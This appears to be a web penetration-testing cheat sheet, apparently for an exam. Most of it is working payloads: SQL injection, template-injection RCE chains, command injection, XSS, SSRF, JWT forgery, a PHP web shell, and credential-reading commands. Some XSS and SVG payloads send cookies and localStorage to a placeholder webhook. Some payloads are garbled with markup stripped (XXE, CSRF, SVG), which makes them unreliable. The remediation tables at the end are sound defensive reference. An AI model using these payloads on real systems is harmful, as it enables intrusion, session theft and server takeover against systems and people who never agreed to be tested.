# SETUP AND RECON

### Burp Suite Initial Setup

1. Proxy > Intercept > OFF (traffic logs to HTTP History automatically)
2. Firefox > Settings > Network > Manual proxy > 127.0.0.1 port 8080
3. Visit http://burp > Download CA cert > Firefox cert store > Import
4. Target > Scope > add target URL > filter HTTP History to in-scope only
5. Rename Repeater tabs e.g. Ch1-SQLi Ch2-XSS Ch3-XXE for documentation

### Keyboard Shortcuts

| Shortcut | Action |
|---|---|
| `Ctrl+R` | Send to Repeater |
| `Ctrl+I` | Send to Intruder |
| `Ctrl+U` | URL-encode selected text |
| `Ctrl+Shift+U` | URL-decode selected text |
| `Win+Shift+S` | Screenshot snip (Windows) |
| `Ctrl+U` | View page source (in browser) |

### Recon Checklist

1. Note the Content-Type of every request. application/xml means test XXE. application/json means test SQLi and SSTI.
2. Look for numeric IDs in URLs and request bodies. These are potential IDOR targets.
3. Check /robots.txt /sitemap.xml /.well-known/
4. View page source for JS files, hidden form fields, hardcoded API endpoints, and developer comments.
5. Capture all error messages. They often reveal DB type, framework version, file paths, and stack traces.

### Common Discovery Paths

| Path | Notes |
|---|---|
| `/admin /dashboard /panel` | Admin interfaces - try accessing without authentication |
| `/api/v1/ /api/v2/` | Try older versions if newer version appears hardened |
| `/swagger /openapi.json /docs` | API documentation - reveals all endpoints |
| `/actuator /actuator/env` | Spring Boot - leaks configuration and secrets |
| `/graphql` | Try introspection query to enumerate schema |
| `/.git/config /phpinfo.php` | Source code and info disclosure |

| Path | Notes |
|---|---|
| `/WEB-INF/web.xml` | Java application config leak |

### What to Test Based on What You See

| Signal Observed | Test First | Severity |
|---|---|---|
| Content-Type: application/xml | **XXE** | **Critical** |
| Curly braces or dollar signs reflected | **SSTI -> RCE** | **Critical** |
| Single quote causes SQL error | **SQLi** | **Critical** |
| Input appears inside HTML or JS | **XSS** | **High** |
| Numeric ID in URL or request body | **IDOR** | **High** |
| URL or host name parameter | **SSRF** | **Critical** |
| File upload feature | **Upload XSS/RCE** | **Critical** |
| Shell or OS interaction feature | **Command Injection** | **Critical** |

## SQL INJECTION - UNION BASED

No sqlmap allowed. All injection is manual via Burp Repeater. Follow all four steps every time.

### Step 1 - Detect Injection

Send these probes one at a time and watch for SQL errors or unexpected behaviour

```
' '' '-- ' -- - ' # ' OR '1'='1'-- ' AND 1=1-- ' AND 1=2--
```

### Identify Database from Error Message

| Error Fragment in Response | Database |
|---|---|
| You have an error in your SQL syntax | **MySQL** |
| Unclosed quotation mark after the character string | **MSSQL** |
| java.sql.SQLException | **MSSQL / Java app** |
| ORA-01756 | **Oracle** |
| ERROR: unterminated quoted string | **PostgreSQL** |
| SQLite3::SQLException | **SQLite** |

### Step 2 - Find Column Count Using ORDER BY

```
' ORDER BY 1-- no error ' ORDER BY 2-- no error ' ORDER BY 3-- ERROR means 2 columns exist Rule: error on N means the query has N-1 columns Alternative using NULL: ' UNION SELECT NULL-- error ' UNION SELECT NULL,NULL-- no error means 2 columns confirmed
```

### Step 3 - Find Which Column Accepts Strings

```
' UNION SELECT 'a',NULL-- if 'a' appears in response then column 1 accepts strings ' UNION SELECT NULL,'a'-- if 'a' appears in response then column 2 accepts strings
```

### Step 4 - Extract Data

| Database | Version and Current DB | List Tables | Dump Credentials |
|---|---|---|---|
| **MySQL** | `' UNION SELECT NULL,version()-- ' UNION SELECT NULL,database()--` | `' UNION SELECT NULL,table_name FROM information_schema.tables WHERE table_schema=database()--` | `' UNION SELECT username, password FROM users-- or CONCAT(username,':',password)` |
| **MSSQL** | `' UNION SELECT NULL,@@version-- ' UNION SELECT NULL,db_name()--` | `' UNION SELECT NULL,table_name FROM information_schema.tables--` | `' UNION SELECT username, password FROM users-- or username+':'+password` |
| **Oracle** | `' UNION SELECT NULL,banner FROM v$version--` | `' UNION SELECT NULL,table_name FROM all_tables--` | `' UNION SELECT NULL, username||':'||password FROM users-- NOTE: bare SELECTs need FROM dual` |
| **PostgreSQL** | `' UNION SELECT NULL,version()-- ' UNION SELECT NULL, current_database()--` | `' UNION SELECT NULL,tablename FROM pg_tables WHERE schemaname='public'--` | `' UNION SELECT NULL, username||':'||password FROM users--` |

### Edge Cases

```
Double quotes: " UNION SELECT NULL,NULL-- Parentheses: ') UNION SELECT NULL,NULL-- MSSQL RCE (needs sysadmin): '; EXEC xp_cmdshell 'id'-- MySQL file read: '
UNION SELECT NULL,LOAD_FILE('/etc/passwd')--
```

# BLIND SQL INJECTION - MANUAL

Verify oracle direction FIRST before extracting any data. Logic may be inverted.

### Step 1 - Map the Boolean Oracle

```
Send both payloads and note which response is TRUE and which is FALSE ' OR '1'='1'-- always TRUE (tautology) ' OR '1'='2'-- always FALSE (contradiction)
WARNING - logic may be inverted: TRUE condition gives response saying Not Found FALSE condition gives response saying Found Map this BEFORE extracting any data
```

### Step 2 - Extract Data Character by Character

```
MySQL - database name one character at a time: ' OR SUBSTRING(database(),1,1)='a'-- tests position 1 ' OR SUBSTRING(database(),2,1)='a'-- tests position 2
MSSQL: ' OR SUBSTRING(db_name(),1,1)='a'-- Oracle: ' OR SUBSTR(user,1,1)='a'-- PostgreSQL: ' OR SUBSTRING(current_database(),1,1)='a'--
```

### Faster Method - Binary Search on ASCII Value

Finds each character in about 6 comparisons instead of 26

```
' OR ASCII(SUBSTRING(database(),1,1)) > 64-- is it above @ (any printable char?) ' OR ASCII(SUBSTRING(database(),1,1)) > 96-- is it above ` (a lowercase letter?) ' OR ASCII(SUBSTRING(database(),1,1)) > 109-- narrows to letters m through z ' OR ASCII(SUBSTRING(database(),1,1)) > 116-- narrows to t through z ' OR ASCII(SUBSTRING(database(),1,1)) = 118-- 118 equals 'v' MATCH
```

### Step 3 - Extract Table Names and Credentials

```
First table name, first character (MySQL): ' OR SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u'--
Second table (change LIMIT to 1,1): ' OR SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1),1,1)='a'-- First username: ' OR SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1)='a'-- First password: ' OR SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='5'--
Confirm table exists: ' OR (SELECT COUNT(*) FROM users) > 0--
```

### Time-Based Blind - When No Response Difference Exists

| Database | Payload |
|---|---|
| MySQL | `' AND SLEEP(5)-- ' AND IF(1=1,SLEEP(5),0)-- ' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--` |
| MSSQL | `'; WAITFOR DELAY '0:0:5'--` |
| PostgreSQL | `'; SELECT pg_sleep(5)--` |
| Oracle | `' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--` |

## SERVER-SIDE TEMPLATE INJECTION (SSTI)

User input must NEVER be inside the template string. Pass input as a data variable only.

### Step 1 - Identify the Template Engine

| Probe Payload | Expected Output | Engine |
|---|---|---|
| `{{7*7}}` | 49 | **Jinja2 or Twig** |
| `${7*7}` | 49 | **Freemarker or Velocity** |
| `#{7*7}` | 49 | **Ruby ERB** |
| `{php}echo 7*7;{/php}` | 49 | **Smarty** |
| `<%= 7*7 %>` | 49 | **JSP or ERB** |
| `{{7*'7'}}` | 7777777 | **Jinja2 confirmed** |
| `{{7*'7'}}` | 49 | **Twig confirmed** |
| `__${7*7}__::` | 49 | **Thymeleaf or SpEL** |

### Jinja2 (Python) - RCE Payloads

lipsum is always available in Jinja2 - no context object needed

```
{{lipsum.__globals__['os'].popen('id').read()}} cycler and joiner also work: {{cycler.__init__.__globals__['os'].popen('id').read()}} MRO chain - list all subclasses then find subprocess.Popen index: {{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()}} Sandbox bypass using attr filter when dot notation is blocked:
{{''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()}} Sandbox bypass using string concatenation to avoid keyword filters:
{{' '['__cla'+'ss__']['__mr'+'o__'][1]['__subclas'+'ses__']()}}
```

### RCE Payloads for Other Engines

| Engine | Payload |
|---|---|
| **Smarty PHP** | `{php}echo `id`;{/php} {php}system('id');{/php} {php}passthru('cat /etc/passwd');{/php}` |
| **Twig PHP** | `{{['id']\|map('system')\|join}}` |
| **Freemarker Java** | `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}` |
| **Thymeleaf SpEL** | `__${T(java.lang.Runtime).getRuntime().exec('id')}__:: __${new java.util.Scanner(T(java.lang.Runtime).getRuntime() .exec(new String[]{'/bin/sh','-c','id'}).getInputStream()) .useDelimiter('\\A').next()}__::` |
| **Velocity Java** | `#set($rt=$class.forName("java.lang.Runtime").getRuntime()) #set($ex=$rt.exec("id"))$ex.waitFor()` |

# XXE AND COMMAND INJECTION

## XXE - XML External Entity Injection

Trigger: look for Content-Type: application/xml in any request

```
]> &xxe;
```

### Target Files Worth Reading via XXE

| File Path | Contents |
|---|---|
| `file:///etc/passwd` | User accounts and home directories |
| `file:///etc/shadow` | Password hashes - needs root access |
| `file:///etc/hosts` | Internal host to IP mapping |
| `file:///proc/self/environ` | Process environment variables - may contain secrets and API keys |
| `file:///proc/self/cmdline` | The command used to start the application |
| `file:///var/www/html/config.php` | PHP app config - often contains database credentials |
| `file:///app/.env` | Environment file - API keys and DB passwords |
| `file:///home/ubuntu/.ssh/id_rsa` | SSH private key |
| `file:///windows/win.ini` | Windows confirmation file |
| `file:///c:/inetpub/wwwroot/web.config` | IIS application configuration |

### XXE Variations

```
SSRF via XXE - probe internal services: Try XML on JSON endpoints: Change Content-Type from application/json to application/xml Then insert the full DOCTYPE XXE payload
```

### Command Injection

| Operator | Platform | Example | Behaviour |
|---|---|---|---|
| ; | Linux | `; id` | Execute after the main command |
| \| | Both | `\| id` | Pipe output to id |
| && | Both | `&& id` | Run only if first command succeeds |
| \|\| | Both | `\|\| id` | Run only if first command fails |
| `` | Linux | `` `id` `` | Backtick subshell |
| $() | Linux | `$(id)` | Dollar subshell |
| %0a | Linux | `%0aid` | URL-encoded newline |

| Operator | Platform | Example | Behaviour |
|---|---|---|---|
| & | Windows | `& whoami` | Windows chain |

### Blind Command Injection - Confirm with Delay

```
; sleep 5 ; ping -c 5 127.0.0.1 & timeout /t 5
```

### Useful Post-Injection Commands

```
id whoami hostname cat /etc/passwd find / -name '*.env' 2>/dev/null env | grep -i pass cat ~/.ssh/id_rsa
```

# CROSS-SITE SCRIPTING (XSS)

Always view page source with Ctrl+U after sending input. Identify the exact HTML or JS context before choosing your payload.

### Context to Payload Mapping

| Page Source Shows | Context | Use This Payload |
|---|---|---|
| `<p>INPUT</p>` | HTML body | `<script>alert(1)</script>` |
| `<input value="INPUT">` | Double-quote attr | `"><script>alert(1)</script>` |
| `<input value='INPUT'>` | Single-quote attr | `'><script>alert(1)</script>` |
| `var x = 'INPUT';` | JS single-quote str | `';alert(1);//` |
| `var x = "INPUT";` | JS double-quote str | `";alert(1);//` |
| `var arr = ['INPUT'];` | JS array | `'];alert(1);//` |
| `var x = `INPUT`;` | JS template literal | `` `;alert(1);// `` |
| `<a href="INPUT">` | URL attribute | `javascript:alert(1)` |

### Filter Bypass Techniques

| Scenario | Bypass Payload |
|---|---|
| **script tag blocked** | `<img src=z onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)> <input autofocus onfocus=alert(1)> <details open ontoggle=alert(1)>` |
| **alert blocked** | `confirm(1) prompt(1) alert`1` eval('ale'+'rt(1)') window['ale'+'rt'](1)` |
| **spaces blocked** | `<img/src=z/onerror=alert(1)> <svg/onload=alert(1)>` |
| **case filter** | `<ScRiPt>alert(1)</ScRiPt>` |
| **URL encoding needed** | `%3Cscript%3Ealert(1)%3C/script%3E %253Cscript%253E (double encoded)` |
| **entity encoded handler** | `<img src=z o&#110;error=alert(1)>` |

### DOM XSS - Sources and Sinks

```
Sources - where attacker input enters JavaScript: location.href location.search location.hash document.URL document.referrer window.name Sinks - search page source for these - they execute code: document.write() innerHTML outerHTML eval() setTimeout() location.href= window.open()
```

### Impact Escalation Beyond alert(1)

| Goal | Payload |
|---|---|
| **Steal session cookie** | `<img src=z onerror="fetch('https://YOUR-WEBHOOK/?c='+document.cookie)">` |
| **Steal localStorage data** | `<img src=z onerror="fetch('https://YOUR-WEBHOOK/?d='+btoa(JSON.stringify(localStorage)))">` |

| Goal | Payload |
| --- | --- |
| **Perform CSRF via XSS - bypasses CSRF token because same origin** | `<img src=z onerror="fetch('/api/transfer',{method:'POST',credentials:'include',body:JSON.stringify({to:'attacker',amount:9999})})">` |

## SSRF AND IDOR

### SSRF - Server-Side Request Forgery

Parameter names that commonly accept URLs

```
url= dest= redirect= feed= image= callback= host= path= load=
```

### Internal Targets to Probe

| Target | Probe URL |
|---|---|
| Localhost | `http://127.0.0.1/ http://localhost/` |
| Spring Actuator | `http://127.0.0.1:8080/actuator/env` |
| Redis | `http://127.0.0.1:6379/` |
| Elasticsearch | `http://127.0.0.1:9200/_cat/indices` |
| Docker API | `http://127.0.0.1:2375/containers/json` |
| AWS metadata | `http://169.254.169.254/latest/meta-data/` |
| AWS IAM keys | `http://169.254.169.254/latest/meta-data/iam/security-credentials/` |

### Filter Bypasses for 127.0.0.1

```
http://2130706433/ decimal representation http://0x7f000001/ hex representation http://0177.0.0.1/ octal representation http://127.1/ short form http://[::1]/ IPv6 http://127.0.0.1.nip.io/ DNS rebinding Open redirect chain: ?url=https://trusted.com/redirect?to=http://127.0.0.1/admin Protocol smuggling: gopher://127.0.0.1:6379/_FLUSHALL file:///etc/passwd
```

### IDOR - Insecure Direct Object Reference

| Where to Look | Example | How to Test |
|---|---|---|
| URL path | `/api/users/1234` | Change to /api/users/1, 2, 3... |
| Query string | `?id=1234` | Increment or decrement the value |
| POST body | `{"userId": 1234}` | Change in Burp Repeater |
| Cookie | `user_id=1234` | Edit cookie in Burp |
| Header | `X-User-ID: 1234` | Add or modify in Repeater |
| Filename | `invoice_1234.pdf` | Replace ID in download URL |

### IDOR Test Patterns

```
Horizontal - access other users at same privilege level: GET /api/users/5 try /api/users/1 /api/users/2 /api/users/6 Vertical - escalate to admin: GET /api/users/5 try /api/admin/users {"role":"user"} change to {"role":"admin"} {"isAdmin":false} change to {"isAdmin":true} Mass assignment - add unexpected fields to POST body: {"name":"John"} change to {"name":"John","role":"admin","credits":9999} Test all HTTP methods: OPTIONS /api/users/5 shows which methods
```

```
are allowed DELETE /api/users/5 attempt to delete another user PUT /api/users/5 attempt to modify another user Response manipulation in Burp: Proxy > Intercept ON > right-click > Do intercept > Response to this request Change false to true | "role":"user" to "role":"admin" | 302 to 200
```

## AUTH BYPASS AND JWT AND CSRF

### Authentication Bypass on Login Forms

```
admin'-- admin' # ' OR '1'='1'-- ' OR 1=1--
```

### Auth Bypass via Headers and Paths

| Technique | Payload |
|---|---|
| Localhost headers | `X-Forwarded-For: 127.0.0.1 X-Real-IP: 127.0.0.1 X-Original-URL: /admin X-Rewrite-URL: /admin` |
| Path normalization | `/admin/../admin /Admin /admin/ /%2fadmin /;/admin` |
| Force browse | `/admin /dashboard /panel /api/admin/users /api/internal` |
| Method override | `X-HTTP-Method-Override: DELETE X-Method-Override: PUT _method=DELETE in POST body` |

### JWT Attack Playbook - Decode first at jwt.io

| Attack | How to Execute |
|---|---|
| alg:none | `Header: {"alg":"none","typ":"JWT"} Payload: {"sub":"admin","role":"admin","iat":...} Signature: empty string but keep the trailing dot Result: eyJhbGciOiJub25lIn0.MODIFIED_PAYLOAD.` |
| RS256 to HS256 confusion | `Get the server PUBLIC key Sign token with HS256 using the PUBLIC key as HMAC secret Server verifies using its public key and accepts the forged token` |
| Modify payload claims | `{"sub":"user1"} change to {"sub":"admin"} {"role":"user"} change to {"role":"admin"} {"userId":5} change to {"userId":1}` |
| kid SQL injection | `{'alg':'HS256','kid':'1' UNION SELECT 'attackerkey'-- '} Sign token with 'attackerkey' as the HMAC secret` |
| jwk injection | `Embed your own public key in the header: {"alg":"RS256","jwk":{"kty":"RSA","n":"...","e":"AQAB"}} Sign with the matching private key` |

### CSRF

```
Auto-submit PoC page: Suppress Referer header to bypass Referer-based protection: Referer bypass techniques: Host the attack page at target.com.evil.com if server does substring match HTTPS to HTTP transition - browser drops Referer automatically per spec XSS on same origin fully defeats any CSRF protection
```

# FILE UPLOAD AND PATH TRAVERSAL AND OPEN REDIRECT

### File Upload Attack Order

1. Upload a legitimate file. Note the storage URL. Confirm the browser serves it back directly.
2. SVG XSS - set filename to shell.svg and Content-Type to image/png. Body is SVG with script tag.
3. PHP extension bypass - try .php5 .phtml .phar .pHp .PHP
4. MIME type spoof - keep .php as filename but set Content-Type: image/jpeg
5. Magic bytes - prepend JPEG or PNG file signature bytes before the PHP code
6. htaccess override on Apache - upload .htaccess config then shell.jpg with PHP body

### SVG XSS Payload - Modify Upload Request in Burp Intercept

```
Content-Disposition: form-data; name="file"; filename="shell.svg" Content-Type: image/png fetch('https://YOUR-WEBHOOK/?c=' + document.cookie);
```

### Extension Bypass and Web Shell Reference

| Technique | Details |
|---|---|
| PHP extensions | `.php5 .phtml .phar .pHp .PHP .php.jpg .php%00.jpg .php;` |
| ASP extensions | `.asp;.jpg .asp::$DATA .aspx. .ashx .cer` |
| Apache .htaccess | `Upload as .htaccess with Content-Type: text/plain Body: AddType application/x-httpd-php .jpg Then upload shell.jpg containing PHP code` |
| PHP web shell | `<?php system($_GET['cmd']); ?> Access at: /uploads/shell.php?cmd=id` |
| Test commands | `?cmd=id ?cmd=whoami ?cmd=cat+/etc/passwd ?cmd=ls+-la` |

### Path Traversal

| Platform | Payload |
|---|---|
| Linux | `../../../etc/passwd ....//....//....//etc/passwd ..%2f..%2f..%2fetc%2fpasswd ..%252f..%252fetc%252fpasswd` |
| Windows | `..\..\..\windows\win.ini ..%5c..%5cwindows%5cwin.ini ..%255c..%255cwindows%255cwin.ini` |
| Top targets | `/etc/passwd /etc/shadow /etc/hosts /proc/self/environ ~/.ssh/id_rsa /app/.env C:\windows\win.ini` |

### Open Redirect

```
Parameter names to test: ?redirect= ?next= ?url= ?return= ?goto= ?dest= Bypass payloads: https://evil.com //evil.com /\evil.com https://trusted.com@evil.com
javascript:alert(1)
```

## IMPACT AND REMEDIATION

### Impact Statements by Vulnerability

| Vulnerability | Sev | Business Impact |
|---|---|---|
| XXE | Critical | Read any file the server process can access including configs, credentials, SSH keys. Chains to SSRF for internal network access. |
| SSTI to RCE | Critical | Unrestricted OS command execution on the server. Full compromise including backdoors, lateral movement, and complete data exfiltration. |
| SQLi | Critical | Dump entire database including all credentials, PII, and financial records. Can escalate to OS command execution via xp_cmdshell on MSSQL. |
| SSRF | Critical | Reach internal services and cloud IAM credentials. Access admin panels and resources that are invisible from the internet. |
| File Upload RCE | Critical | Arbitrary OS command execution via web shell. Equivalent to direct server access with full control. |
| Auth Bypass | Critical | Admin access without any credentials. Complete application compromise. |
| Command Injection | Critical | Direct OS command execution on the server. Same impact as having a shell on the system. |
| Stored XSS | High | Script runs in every visitor browser. Mass session hijacking and credential phishing at scale. |
| Reflected XSS | High | Session token theft and account takeover against individual targeted victims via crafted link. |
| File Upload XSS | High | JavaScript executes in the app origin. Session theft from all users who view the uploaded content. |
| IDOR | High | Access, modify, or delete any user data without authorization. Full horizontal privilege escalation. |
| Path Traversal | High | Read files outside the web root including source code, application configs, and private SSH keys. |
| JWT Attacks | High | Forge authentication tokens to impersonate any user or escalate to admin without knowing credentials. |
| CSRF | Medium | Trick authenticated users into unintended actions such as fund transfers and account changes. |
| Open Redirect | Medium | Redirect users to attacker-controlled pages for phishing, credential harvesting, or OAuth token theft. |

### Remediation Reference

| Vulnerability | Fix |
|---|---|
| SQLi | Parameterized queries and prepared statements. Never concatenate user input into SQL strings. |
| XSS | Output-encode per context. Content-Security-Policy header. HttpOnly and Secure cookie flags. |
| XXE | Disable external entity processing in the XML parser. Prefer JSON over XML. |
| SSTI | Pass user input as a data variable only. Never concatenate it into the template string. |
| File Upload | Allowlist file extensions and validate magic bytes. Store outside webroot. Re-encode images server-side. |
| IDOR | Server-side ownership check on every object access. Never trust client-supplied IDs. |
| SSRF | Allowlist permitted destinations. Block all RFC1918 and 169.254.0.0/16 ranges. |
| CSRF | Session-bound CSRF tokens plus SameSite=Strict cookies plus Origin header validation. |
| Path Traversal | Canonicalize the path and verify it starts within the allowed base directory. |

| Vulnerability | Fix |
|---|---|
| Command Injection | Never pass user input to a shell. Use language-native APIs instead. |
| JWT | Validate the algorithm explicitly on the server. Reject alg:none. Always verify the signature. |
| Open Redirect | Allowlist of permitted redirect destinations. Never use raw user-supplied URLs. |